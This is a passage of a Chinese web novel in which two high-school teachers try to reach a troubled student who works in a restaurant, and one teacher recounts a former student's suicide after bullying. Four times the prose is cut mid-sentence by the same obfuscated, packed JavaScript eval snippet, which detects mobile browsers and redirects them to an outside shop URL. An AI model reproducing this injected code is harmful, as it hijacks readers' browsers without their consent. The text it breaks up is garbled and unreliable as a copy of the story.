学校里的孩子们几天没见到简璃，也是有些想他的。 简璃虽然特别严格，但他长得确实帅啊。 而且学生们惊奇的发现简老师不在的这几天，下了课几乎也看不见陶老师，这周一回学校，他们居然还是一起来的。 八卦像是长了翅膀一样飞了出去，平时酷爱聊天的邓留萤听见，一口水差点没喷出来。 “噗咳咳咳，你说谁和谁？” “简老师和陶老师啊，我看着他们一起下车一起进办公室的。” 邓留萤摇摇头，说：“不不不不，不可能。” 陶老师喜欢离玉好不好！ ……简老师还真有点像离玉，你别说你还真别说。 不会吧？ 陶老师——这么饿吗，这也能代？ “你怎么了邓留萤，你不是喜欢抱着你的动画片小人傻笑吗，我上次还看见你看着两个男的……” 邓留萤上前捂住同桌的嘴，尬笑道：“没有没有！你们别聊了一会老师来了。” 学生几个闲起来什么八卦都能聊，不一会就有邓留萤简璃陶与晴三角恋的猜测。 陶与晴上课缴获了传来传去的纸条，看着上面的内容简直气笑了。 “我只是早上出门刚好遇到了简老师，所以一起搭车过来了，”办公室，陶与晴晃了晃手里的小纸条：“还有，同学之间不要传这种乱七八糟的流言，学习才是你们的主要问题，明白吗？” 被抓到的几个同学惭愧的低头：“是……” 陶与晴训话完毕，给几个人都加了作业，把纸条撕碎了丢进垃圾桶，抬头问：“最后一排那个同学呢，今天没来吗？” “老师您说宁雨啊，您别管他吧……” “是啊，我和他一个初中的，他经常这样的，三天两头就不上课，能上重高听说是家里给了钱来着。” 陶与晴对后排那个男生没什么深刻印象，但这一段时间的课他都没有缺席，所以陶与晴记得他。 “不要随便听说，”陶与晴说：“你们谁有证据吗？我手里有你们的成绩单，宁雨同学的中考成绩虽然擦线，但确实是到了” “呃……” 几个学生沉默了，其中一个犹犹豫豫说：“因为他初中的成绩真的很差很差，而且逃课打架什么都干还被学校警告过，可能是这几天刚开学所以收敛了吧……但是陶老师，您的性格肯定镇不住他的。” “是吗，”陶与晴认真了，问：“详细和我说说，什么情况。” 初中时候他们并不是一个班，所以陶与晴大概听几个同学零零碎碎的话语，勉强拼凑出了一个混世小霸王的形象。 看这几个孩子都不像是撒谎，所以打架逃课什么的，很大可能确有其事 但陶与晴不相信会有人无缘无故的厌学打架，至少他现在还在重高的班级里，他一定也是愿意学的。 几个同学走了以后，陶与晴头疼的揉了揉眉心。 他闭了闭眼说：“你觉得呢。” 很明显是在问坐在对面的简璃。 “你应该比我擅长应对这种学生，”简璃看了他一眼，说：“实在不行，去家访看看问题出在哪。” “开学没多久……还是别家访了，”陶与晴靠在靠背上，说：“我先想想别的办法。” 第二节课，宁雨不知道什么时候来了，坐在也不打算听课，一直在看窗外。 陶与晴只讲了半节课的时间，剩下的时间决定交代一些事情， “说到这里，我提一下，”陶与晴放下课本，说：“通过这几天的观察，我定了一下班上的班委，大家听我念一下，没有什么异议我们就按这个来。” 陶与晴并不是开玩笑，真的把赵遇京任命成体育委员了，文艺和宣传由邓留萤和几个女同学担任，学习委员是成绩最好的女生吴尽夏，各课课代表就让老师们自己定。 最重要的班长一职，陶与晴在两个人之间犹豫了挺久。 一个是宁雨，一个是姜一安。 “班长就……姜一安，可以吗？”陶与晴询问的看向对方。 姜一安坐在最前面，点了点头。 其他同学也没什么异议，都觉得他这个性格当管理层也蛮合理的。 “副班长……宁雨。” 这下好一些人都倒吸了一口气。 除开那些完全不认识宁雨的，只要是同一个初中、或者说听说过一些事迹的人，都觉得陶与晴这个安排简直太抽象了。 连宁雨本人撑着头看戏的手都没撑住。 他简直一脸“你疯了没看见我是问题学生吗”的表情。 “先试试吧，”陶与晴收好自己的课本和水杯，说：“下一节课是简老师的，还有下午两节课简老师也一起要了，你们好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277162|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听。” “啊——？” 哀嚎一片。 办公室，陶与晴坐下喝了口水，简璃抬眼看他，又看了看门口，说：“你干什么了。” “安排班委啊，还能干什么。” 简璃收回目光：“看来你的班委来找你了。” 陶与晴扭头，看见一个高高的男生站在门口。 他的头发长度不符合学校的规矩，前头的刘海都快挡住眼睛了，校服松松垮垮的挂在身上，插兜站在那里。 “进，”陶与晴淡淡道：“是有什么题不会吗，我可以给你讲。” “我不当副班长。” 宁雨斩钉截铁，没有一点犹豫。 “为什么，”陶与晴看向他，说：“给我一个理由，合理的话我就同意。” 宁雨不耐烦的伸出手，摊开在身体两侧：“我、这个理由还不够充分吗？” “不觉得，”陶与晴回头，说：“刚好，你把这个作业抱过去发一下，一会和姜一安一起来一下我办公室，给你们安排点事情。” “你……你听不懂话吗？”宁雨脸气的有点红，说：“我不当副班长！你逼我我也不当！” “好了，”陶与晴朝着他笑了笑，把一堆作业推给他：“听话，帮老师发一下，谢谢。” “…………” “给你几颗糖，你去和同学们分一分，去吧。” 最后这小同学骂骂咧咧的把作业抱回去了。 高老师坐在旁边忍不住开口：“小桃子你这是温柔一刀啊。” 陶与晴失笑：“哪有，我正常交代而已。” 徐老师默默探头：“陶老师～我明天有点事能帮我代课吗？” “可以啊，第几节？” “第一节。” “好呀。” 简璃批改完最后一页周末的语文作业，看也没看陶与晴，说：“你的感化计策不一定有用。” “什么，”陶与晴说：“坏人才需要感化，他又不是坏人，这最多叫引导。” “……你是天使，”简璃整理了一下稀碎的语文作业，说：“这个恶魔只能我来当了。” 只见他黑着脸，摔了笔，拿着作业往班上走。 陶与晴吓得后仰了一下，眨眨眼，默默的给孩子们点了根蜡。 “哇、”高老师举手：“我想去看看。” 徐老师点点头：“我也有点想。” “……作为人民教师怎么能……” 陶与晴想义正严辞的阻止他们，被高徐两位老师一边架着一个胳膊架到了班级外。 上课铃声刚巧响起，简璃走进教室里，重重的把作业本摔在讲台上。 班上瞬间鸦雀无声。 简璃扫视了一下教室里：“念到名字的，自觉站起来。” 10. 第 10 章 台下的同学你看看我我看看你，都从彼此的眼中读出了一个信息。 完啦。 稀稀拉拉站了快三分之一的人，一个个低着头跟小鸡仔似的。 “几天不在你们玩的很高兴，”简璃撑在讲台上，停顿片刻接着说：“我就想问问周末的作业多吗，回答我。” “……不多……” “步入高中没几天，你们真以为我想管你们吗？你们学习到底是给谁学的？还有人作业抄都抄不明白，我就不点名了，今天我给你们面子。” “但这几个站着的，下课统统来我办公室做完了再回去，下午体育课别上了加一套卷子，抽背原文和注解。” “啊——” “啊什么啊，你们觉得离高考很远，但时间过的很快，没几天就要第一次月考了你们拿什么考？就你们这个作业，我改了两节课，从头气到尾，这是你们该拿出来的态度吗？” 这下彻底没人吱声了。 简璃瞪了台下的学生两眼，没听见其他异议，翻开书说：“坐下，班长上来擦黑板，这节课接着讲。” 后门的几个人见简璃开始上课就往回走了，徐老师说：“有魄力，我觉得我应该学习，我们班那群孩子根本都不听我的。” 陶与晴开玩笑说：“下次借简璃去你们班上堂课。” “哈哈哈哈可以可以。” “哎可是，”高老师说：“这简老师怎么从之前的学校调剂过来了呢？” “对啊，”徐老师也好奇，问：“是不是因为太凶了，被学生投诉了？” “不至于吧，”陶与晴疑惑：“他也不会体罚学生啊，而且如果是被投诉，就不会转到我们学校了吧，应该是直接革职。” 几人也没讨论出个什么来，陶与晴只知道简璃的基础情况，其他的一概不知，关于他到底为什么从原来的学校调过来，估计只有领导层的人有消息。 但是这是人家隐私，陶与晴没兴趣去深究。 一节课下课，简璃没有拖堂，直接领着几个问题严重的学生来到了办公室当面补作业。 其中就有宁雨在列，但是他面对低气压的简璃都是一副无所谓的反骨态度。 简璃和他两个人大眼瞪小眼，盯着对方看了许久，眼看两个人气氛越来越僵硬，陶与晴忍不住出手了。 “小雨，你过来，来我面前写。” 问题学生最是让老师头疼，但是直接和经验告诉陶与晴，如果放任简璃和宁雨对冲的话，结果得不偿失。 宁雨似乎听进去了他的话，虽然不情不愿，但是还是带着作业本走了过去。 简璃并没有制止，而是当没发生一样检查起来其他的人。 说到底还是能考进重高的人，认识错误都非常快，不一会就把作业给补完了。 “为什么没有写呢，”陶与晴低声问宁雨：“我看你数学最后几道几何题完成的都挺好的。”虽然前面的基础全部没做。 但是这种情况，先循序渐进吧。 “……不想写。” 他气势明显没有一开始来办公室的时候强烈，陶与晴盯着他把语文作业给写完了，见简璃眉头松动，才问：“刚才的作业你帮老师发下去了吗？” “……”宁雨扭捏了半天，吐出两个字：“发了。” “很好，今天午休的时候你和一安帮我复印一下试卷，记得告诉他。” “……哦。” 多说适得其反，陶与晴点到为止，给简璃递了个眼神，简璃意会，检查完了作业，说：“字有点丑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277163|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下次认真点，回去吧。” 等那孩子走了，陶与晴叹口气：“难搞。” 简璃转了一下手中的签字笔，说：“还以为你已经游刃有余了，说的头头是道的。” “对付这种孩子最难把握那个尺度了，万一戳到伤疤处就无功而返了，”陶与晴揉了哦额头，接着说：“你觉得咱们是不是真的要家访一下？毕竟孩子的教育离不开家长，我们得看看症结在哪。” “万一他家庭真的不幸你又怎么办。” “……总有办法的，”陶与晴翻开教案，碎碎念：“总不能什么都不做吧。” “……”简璃沉默片刻，放下笔，破天荒道：“问问看吧，有机会的话一起去看看。” “真的假的你转性了？”陶与晴惊讶的抬头，按理来说简璃应该会泼一些刻薄的冷水才对。 他可是开学当天就说“你的教育理念太保守了”的那种人。 难道生个病生出人性了……不对，这样想人家也不太好，简璃本来就是很负责的老师才对。 “我毕竟是个老师，还是希望学生能好好学习的。” 陶与晴发自内心笑了：“在这一点上，我们终于达成共识了。” 简璃重新低下头看书，说：“刚才来看我，是怕我打他们吗。” “……你发现了呀？”陶与晴下意识回头，发现办公室里其他的老师应该都去上课了，说：“也没有，我们就是看看怎么回事。” “你目标太大很难不发现。” “……我要收回心里对你的所有赞扬！”陶与晴不满的睨了他一眼，顺势说：“所以你为什么来我们学校？总不会真是体罚学生吧。” 简璃的笔尖再次顿了顿，没头没脑的来了一句：“我毕竟是个老师。” 11. 第 11 章 陶与晴愣愣的看着他，听他开口说：“教学意外，去年我的班上，有个孩子自杀了。” 陶与晴瞬间眼睛就瞪大了，难以置信的问：“自杀？因为什么？” “父母和学校的原因，那天之后我才知道，有几个学生一直在找她的麻烦，前一天她被摁着扯了衣服，后一天就从教学楼上跳下去了。”简璃说起这件事的时候，目光紧紧盯着一方，眼神没有移动，也没有看进去一个字。 “……”陶与晴不喜欢这种故事。 在当了老师……或者说、在他决定成为老师之后，每次看见这样的社会新闻，他都比平常人更能共情，忍不住去想如果是自己的学生，自己应当如何。 “她的家庭环境也不好，家里有两个弟弟，父母离异之后一人带走了一个，她有时候去父亲家，有时候去母亲家，没有跟着哪一方长期生活。” “后期走访调查，她初中的时候曾经向老师求助过，效果几乎没有，所以步入高中之后她一直没和我提起过任何事情，这些都是她死后调查出来的” 简璃的语气好似没什么波澜，陶与晴知道他一定努力让自己冷静，可是想不出什么安慰的话。 有什么话能填补一个死去的人带来的遗憾呢。 “那天她跳楼，”简璃接着说：“我在教学楼天台上没有拉住她——学校为了声望隐瞒这件事，让我觉得很恶心，所以我离开了。” 陶与晴皱眉咬牙：“简直不是人。” 他想到什么又问：“那些霸凌者呢？” “具体我不清楚，也是不会真的抓去坐牢的，据同事说有人转学了，”简璃捏紧了红色签字笔，说：“如果他们当中有一个人能带着愧疚过一辈子也不错。” 但是……真的会吗？ 陶与晴不好肯定。 “谢谢你和我说这些，”陶与晴对他道：“我不知道会是这样，对不起……” “没什么不能说的，”简璃叹了口气：“如果我连说都不敢，更是不可能改变什么，我能做到的现在只有这些了。” 孩子冰冷纤瘦的手腕从手掌滑落的感觉，以及约莫几秒钟后，楼下散开的红色墨水和一声震撼人心的巨响。 那是挥之不去的阴影，那段时间简璃什么活动都没参加，也没去上班，消息也不怎么回，留在家里缓了好久，还落下了胃病。 他深知哪怕现在，和陶与晴讲述的自己也没有完全走出来，在讲的过程中PTSD依旧伴随他。 比如指尖发麻，比如出现耳鸣。 察觉到他指尖发抖，陶与晴伸手拍了拍他的手背。 “在最后，”陶与晴垂眸说：“她成为了最自由的鸟。” 简璃松怔一刻，点头：“嗯，她自由了。” 办公室的气氛一瞬间变得沉重了起来，下课铃声响起两个人也没听到，一时间不知道过去了多久。 直到几个吵闹声响起。 “简老师陶老师！”邓留萤在办公室门口指着后面的人：“赵遇京他抢我棒棒糖！” “你真来啊祖宗！”赵遇京把宁雨给的棒棒糖还给邓留萤：“开玩笑呢……还你还你还你，小气鬼。” 姜一安站在后面抱着一摞书，他后面还跟着不情不愿分担工作的宁雨。 姜一安冷漠道：“……别嬉笑打闹，让我们进去放东西。” 邓留萤叉腰：“听见没有，让开，这是陶老师给的，你不配。” 赵遇京作势要去勾肩搭背：“雨哥，老师真没有特意指定要给我们班最英俊潇洒、风流倜傥的帅哥赵遇京吗？” 宁雨抱着资料皱眉躲开他：“滚啊。” 陶与晴和简璃对视一眼，前者无奈的笑了笑。 忽然感觉很治愈。 “别围在那里了，”简璃还是要出声制止：“要进来的快点。” 陶与晴却又对简璃改观了一点。 表面上凶巴巴的，内心却是个非常温暖的人。 好像透过这张脸看见了这个人的内心。 “陶老师，我们复印好了，”姜一安扶了扶自己的眼镜，一丝不苟道：“每一张多复印了几份以防万一。” “好，谢谢你们两个，吃饭了吗？” “……还没。”姜一安说完看了看宁雨。 宁雨默不作声放下东西，被问及这个问题，却选择了沉默。 “都这个点了啊，”陶与晴看了一眼时钟，说：“刚好我和简老师都没吃，你们的食堂应该没饭了，和我们一起吃吧。” “早知道我也不吃了，”邓留萤含着棒棒糖说：“我也想吃教师食堂，听说今天有红烧肉。” “那不行，还是要好好吃饭，”陶与晴看了看简璃，说：“对吧。” 简璃心虚的低头，转移话题又看向邓留萤和赵遇京：“你们两个来干嘛的？” 赵遇京才想起来自己此行前来的另一个目的：“我也想要棒棒糖，宁雨这小子只给女生，好不公平。” “你幼不幼稚，”陶与晴都被他逗笑了：“一个糖而已，特意找到办公室来。” “我还是不是您的贴心小棉袄了，”赵遇京捂住心口：“真正的寒心，不是大吵大闹。” “嗯……”陶与晴翻了翻抽屉，说：“今天没有了，下次再说吧。” 赵遇京遗憾退场。 邓留萤看了看宁雨：“你没给男生糖吗？” 宁雨被几个人盯着看，有些不好意思的恼羞成怒：“……女生不是喜欢吃甜的吗？你一个大男人抢女生东西，呸！” “我——”赵遇京百口莫辩：“好好好，我错了我错了。” 姜一安看不懂，但是表示大受震撼：“……” “走啦别打扰人家吃饭时间，”邓留萤推搡着赵遇京出办公室，回头说：“快去吃饭吧！我们走啦！” 陶与晴起身，说：“走吧，吃饭去。” 陶与晴发誓这是他吃过最安静的一次饭局。 “……” 还真是食不言啊。 宁雨闷头吃饭一句话都不说，姜一安不用说了简直就是缩小版的简璃还都带着眼镜，简璃…… 陶与晴提醒他：“咳咳简老师，吃饭别玩手机，给孩子们做榜样。” “回个工作消息，”简璃头也不抬，说：“你们吃。” 陶与晴调侃他：“你之前教育孩子们的时候可不是这样啊。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277164|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双标，”简璃看了看姜一安和宁雨：“吃完了快看书去。” “……” 陶与晴服气。 总感觉简璃不装了，但贱了。 下午陶与晴没课，直接回家研究道具去了，用了好几种材料实验，终于达到了自己喜欢的效果。 于是着手开始画图，陶与晴把透明的似剑，却有纹路弧度的设计稿发给简璃。 动漫里角色每次打架都表现的很好，但对于手中剑气的轮廓并没有过多勾画，所以做道具需要一定的脑补能力。 比如某些c服的结构，都得费个脑子才能明白这玩意到底怎么安在衣服上的。 傍晚离玉回消息，表示他非常的喜欢，并且大肆赞颂扶光的手法。 陶与晴眼睛有些酸涩，滴了滴眼药水，靠在沙发上休息。 心里莫名惦记起简璃有没有吃饭，可能是他前段时间住院导致的，陶与晴现在把他当儿子看。 或许他真有些当老父亲的天赋。 【陶与晴】：你吃饭了吗？ 【简老师】：刚走出学校，还没。 【陶与晴】：怎么不吃了再走。 【简老师】：……忘了。 【陶与晴】：你根本就是没想着吃饭吧？还想住院是吧？ 【简老师】：…… 陶与晴无奈，之后给他个台阶。 【陶与晴】：我也没吃，我来找你吧，一起去吃点。 【简老师】：……好吧。 刚好闷在家里一下午也闷的有些难受，陶与晴收拾东西，决定出去呼吸一下新鲜空气。 傍晚的祁城最是热闹了，各种小摊小贩，大爷大妈都会出来散步。 祁城的风景非常好，各处都有公园可以遛弯，不管沿河还是沿湖，地界宽广，空气清新。 简璃就在学校附近没多远，陶与晴找到他的时候，他正在教育一个闯红灯的孩子。 “你哪个学校的，老师是谁，下次再看见试试。” 那孩子连忙点点头，最后简璃扬了扬头放他走了。 “怎么了这是？”陶与晴走过来。 “闯红灯差点被一辆摩托车撞了，拉住他教育了两下。” “你是对的，太危险了，”陶与晴为这孩子微微皱了皱眉，松开眉头问：“去哪吃？” “都行，你定吧，祁城我不熟。” “好吧，有一家盖浇饭还不错，离学校很近。” “嗯。” 两个人走过一条街来到一家老店，一人点了一份，老板大声超里面招呼。 等了十分钟，两份饭被端了出来。 那服务员带着口罩和员工帽子，看见陶与晴和简璃坐在座位上聊天，登时腿脚都不听使唤了。 他拿盘子的手微微颤抖。 陶与晴正对着他察觉到异样，抬头定睛一看。 好眼熟，不确定，再看看。 毕竟陶与晴有点脸盲。 知道简璃也回头，脱口而出：“宁雨？” “……宁雨？”陶与晴疑惑的眨眼：“你这孩子怎么在这儿？” 说起来这孩子的确不上晚自习，下午下了课都是直接走的。 12. 第 12 章 宁雨根本没想到能在这里遇到两位老师，咂摸半天没说出个所以然来，最后后厨的老板喊了他一句，他放下餐盘扭头走了。 高一的孩子才多少岁，难道这是他自家的店？ 陶与晴和简璃都隐约的觉得事情没有这么简单。 “可是我之前也来这里吃过，没看见过他，”陶与晴摸着下巴，说：“说起来有一两年没来过了，难不成……” “先吃饭，一会去问问。” “嗯。” 宁雨有意回避陶与晴和简璃，一顿饭过去了没见过几面。 “老板娘，”陶与晴走到前台结账，回头看了看远处收拾桌子的宁雨问：“这孩子是你儿子吗？” 老板娘顿时警惕了：“你是谁啊？问这个做什么。” 陶与晴解释说：“我们是他的高中老师，无意撞见，想了解了解情况，我手机里有教师资格证。” 老板娘态度瞬间变了：“哎哟，老师啊，老师好老师好，我给你们说……” “那孩子啊，”老板娘回：“他来店里打工的，那小娃娃可怜的很，爹妈都不管，哎，这以后考大学学费还是个问题。” “……他的情况可以申请补助金，”简璃说：“只要好好学，我们可以帮他。” “你们也是好老师，”老板娘悄悄凑近他们，说：“半年前他那个初中的老师、啧啧啧，我都不想说……” 陶与晴疑惑：“怎么了？” “这、要不晚点，等下班关门了你们过来，我给你们说。” 这里人多口杂，说不定还会被宁雨听到这些，总归不太好，陶与晴和简璃点点头。 毕竟这是了解宁雨的一大机会，当然不能错过。 陶与晴和宁雨说了再见，和简璃在外面等到后半夜。 后半夜店里正在收拾东西打扫卫生，老板娘和老板让宁雨先走了，看见陶与晴和简璃过来，热情的招呼他们坐下，还倒了杯水。 “客气了，”陶与晴接过温水，说：“能和我说说宁雨这孩子，到底是什么情况吗？” 老板也叹了口气，坐下说：“这孩子可惨，他爸是个酒鬼，他妈是个疯子，具体的我不知道，反正家里没什么经济来源，也是小小年纪就自己出来打工了。” 老板娘接话道：“还有还有，我到现在都记得，大半年前，在我们店里面打工，他那个初中老师带着一群同学过来吃饭，美其名曰给他捧场，还指着他教育其他同学，说不好好学习只能端盘子，听着我都生气。” “……太过分了，”陶与晴听着听着眉头紧锁：“这不是罔为人师吗？初三关键时期、当着同学的面这样说，还带到店里来……” 老板这时候说：“据说小雨这孩子初中在学校打架逃课，估计是给老师留下的印象不好……” “逃课打架的时候不管不顾，努力打工生活的时候来侮辱，我不能认同，”简璃说：“这根本没有解决根本问题，只会让问题越来越严重。” 和店里的夫妻俩聊了聊，走出来的时候陶与晴脸色一直臭着，快比简璃一开始认识的时候还黑脸了。 “……”这安抚情绪的角色一下子调换了，简璃还有点不习惯，伸手拍了拍他的肩膀，说：“至少知道了基本情况，可以慢慢调整。” “我就是生气，”陶与晴和简璃走在深夜的街道上，感受着阵阵微凉的晚风，清醒了一丝，“我知道这种秘密被人拿来嘲笑是什么感觉，尤其是中学的孩子嘴上更是没个把门，他们的确什么话都说的出来……” “你是说他打工被老师同学指指点点的事情？” “对，你可能根本无法想象他回去学校会遭受什么，也许本来就没人关心他，这下不说闲话都不可能了，他打架逃课的原因、更不可能有人去在意。” “你觉得他事出有因。” “我不是在开脱，这确实是不对，”陶与晴看着简璃摆摆手，表明立场：“但是我、我只是觉得我们得知道为什么会这样，至少这几天会发现宁雨也是个有责任心的孩子……我给他副班长的位置，他本来、本来也可以忤逆我撒手不管……但是他还是去帮姜一安的忙了，你、你不觉得这很矛盾吗？” “我认同你的看法，”简璃看了看陶与晴，说：“你不用这么紧张的和我解释。” 陶与晴：“……抱歉，我的毛病，一说的这种事情我就有点急了，表达可能不太清晰。” “没事，我听得懂，不过初中的事情我们可能解决不了，毕竟是之前的事情无从考证，”简璃思量片刻，说：“我会去帮他申请助学金，你继续做你自己，好好引导他就行，目前都挺好。” “谢谢……”陶与晴惊讶的看着他，说：“……很惭愧、我一开始以为，你是那种会抓着他的错误一直不放的老师，看见宁雨的学习态度，我觉得你应该不喜欢他。” “我的确不喜欢他的逆反态度，但不是不喜欢他这个人，以及我有义务去帮助他，就像你一样，只是我们办法不同。” “嗯，我向你道歉，对你有些误解……”陶与晴迅速补充：“但是你一开始的态度真的很讨厌。”而且装。 简璃移开视线：“你一开始也真的显得很不靠谱，我承认我讨厌过你，抱歉。” “……好了，这也给我们上了一课，不要随便给人下定义，”陶与晴伸手对简璃道：“现在我们是朋友了。” “原来我们之前不是吗，”简璃握上他的手：“我以为你是因为这个身份才在医院照顾我。” 陶与晴挑眉：“之前最多是同事好不好，我那是纯属好心，而且你死在办公室，吓着学生们怎么办？” “……陶与晴，”简璃握手的力道用了点力道，摇摇头压低声音：“我发现你其实一点都不温柔。” “嘶……松开我！兔子急了还知道咬人呢！” —— 第二天，再次在学校看见宁雨，陶与晴发现他有意在躲着自己，大概是昨天的事情让他很不安。 下课后，陶与晴说：“班长和副班长，来办公室帮我改下卷子，课代表把昨天的作业发一下。” 宁雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277165|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和姜一安跟着陶与晴进了办公室，前者比起之前更不情愿一点，站在门口不愿意进去了。 “怎么了？”陶与晴看他，问：“ 不舒服吗？不舒服的话也没关系，先回去休息。” 姜一安也看了看宁雨，他对所谓的“差生”倒是没什么偏见，只要不妨碍教学工作，都是同学。 比起宁雨，姜一安显然更烦成绩前列的赵遇京。 “……不用，”宁雨低着头说：“但我不会改卷子，我看不懂。” “没关系，不懂得都可以问，你们帮我改要快一点呢，”陶与晴笑着把他拉进办公室，拿了两张凳子，说：“这份是标准答案，记得看解题过程。” 姜一安那边没什么问题，个别同学抄答案蒙混过关，过程有一点逻辑不通的地方，被他一揪一个准。 火眼金睛啊…… 陶与晴暗自佩服。 这边两个孩子正改着卷子，那边的高老师也走进来，看见陶与晴调侃他：“小桃子啊，昨天我们班学生看见你和简老师一起吃饭来着。” 宁雨改卷子的手猛的一顿。 陶与晴侧耳听着，随意的翻开教科书：“嗯，那怎么了？” “现在的小孩子，我是越来越看不懂了，一起吃个饭，这有啥好说的？就因为你俩长得帅啊？” “您说笑了，帅不过您。” “那也是，”高老师又回忆起往昔：“我当年可是班里的班草，说出来你别不信。” 陶与晴敷衍二连：“好好好我信我信。” “哎我们班同学还说，”高老师完全不知道具体情况，随口道：“你俩搁那约会，这些小丫头片子真是的。” “……” “没有啊，”陶与晴回答：“而且高老师，你们班学生也有不上晚自习的？现在是关键时期，咱们能劝还是劝劝，晚自习得上。” “……也是，我回头说说他们。” 宁雨顿住的手迟迟没落笔，看着陶与晴愣了片刻，发现对方完全没有在意这件事一般低头看着教材。 好像真的就是老师之间一次稀松平常的闲聊，陶与晴只字没提昨天撞见他的事情。 “……快上课了吗？好，你们回去吧，辛苦了这个不着急。” 姜一安点点头，看了看陶与晴对面的位置，问：“简老师没来吗？” “嗯，他课在最后，现在应该有点事。” “哦，”姜一安对宁雨，“走吧。” 又过了约莫一节课的时间，简璃回到办公室。 “你和主任聊天了？”陶与晴问：“聊了什么？” 简璃今天穿了一件干净的黑色衬衫，摘下眼睛揉了揉这几天熬夜的眼睛，说：“说了，但是审核走流程比较麻烦，我回头找宁雨聊聊。” “那好……” ……帅啊。 又能代了。 陶与晴盯着他看了半天，看的他奇怪道：“看我做什么。” 陶与晴呆滞回复：“离玉Pro Max至尊黑。” “？” 13. 第 13 章 “啊不是，”陶与晴意识到自己失言了，解释道：“我、我随口说的，没什么。” 简璃这才想起来陶与晴是自己的粉丝来着。 想到他和邓留萤在办公室发表的那一通言论，简璃尴尬的咳嗽了一声，装作没听懂。 就算问起来，他也可以咬死不承认。 巧的是陶与晴也是这么想的，他也默默捂住了自己的马甲。 两个人安然无恙。 “陶老师，”邓留萤下了堂课，跑到办公室来找陶与晴：“救救急。” “怎么了？”陶与晴看向她。 “离玉要去国庆节祁城的漫展您知道吧？”邓留萤刚好聊到这个事情，说：“但是我上次受伤以后，我爸妈不允许我一个人去了……虽然他们挺好的，但是我实在不想和父母一起去，所以emmm。” “所以，”陶与晴看出来了，说：“你想我陪你去？” “对对对，”邓留萤点点头，说：“老师您太聪明了！可以吗可以吗，我真的很想去，我们是同好，而且你是我老师，你和我爸妈说的话，我爸妈肯定能同意的。” “这个……”陶与晴佯装思考翻了翻书，说：“我想想。” 邓留萤还想说些讨好的话，陶与晴点点桌子说：“如果你这个月月考，能考个好成绩，那我就陪你去。” “包的，”邓留萤站直了：“我现在就回去把各科书目全部再看一遍。” 她一溜烟扭头走了，这动力比她父母给她的考试红包都大。 小小学生，拿捏。 陶与晴喝了口水，惬意急了。 简璃把这一切都看在眼里，隐约觉得邓留萤应该真的能考好，开口说：“你过去要去活动？” “嗯，就是上次跟你说过的那个，不过也不一定，那小丫头不一定能考好呢。” “我看她倒是很有干劲，”简璃说：“邓留萤中考成绩不差，她的缺点是起伏特别大，心态不够稳，经常三心二意丢粗心分。” “你挺了解咱班的同学？”陶与晴撑着头，笑着说：“你都知道？” “略知一二，比起邓留萤，姜一安和吴尽夏的成绩一直比较稳定，至于那个赵遇京……他成绩不差，各种竞赛也可以看出他逻辑能力很强，就是人不太老实。” 陶与晴点头：“嗯，班里的学生我也基本上都了解了一下，有几个人我打算重点抓一抓，希望他们高考都能考出好成绩。” 简璃说：“我就说这群小孩子现在玩心大，得管着点。” “那是因为你被前学校压榨带了两三届高三……也是可以理解了，”陶与晴倒也不解：“你这么年轻，工作估计没多久吧，他们干嘛这么让你干。” 陶与晴干了一年高三，能够感觉到真的身心俱疲，每天早上五点起来都是保守了，晚上说不定12点才能入睡。 学生辛苦一年以后还能调理调理身体，这要是让老师一直带高强度的高三，那真的不会出人命吗？ “压榨一个人需要理由吗，”简璃淡淡道：“有能力，还有点责任心的老师，哪个没被压榨过。” “虽然有些自夸的嫌疑，但你要这么说的话，也是。” 午休时间，陶与晴和简璃照常一起去食堂吃饭，吃了饭陶与晴还要去盯午休。 看着学生们睡觉实在无聊，陶与晴掏出手机，关小音量。 这段时间不是忙着照顾住院的简璃就是忙着做道具上课备课，几乎很少和离玉聊天。 陶与晴点开他的头像翻了翻最近的动态，离玉发的朋友圈都是一些二次元相关，频率不高，大概一个月发几次。 前两天他说自己看了一个新番，点评了一下剧情，觉得里面恋爱的情节写的不错，甜而不腻。 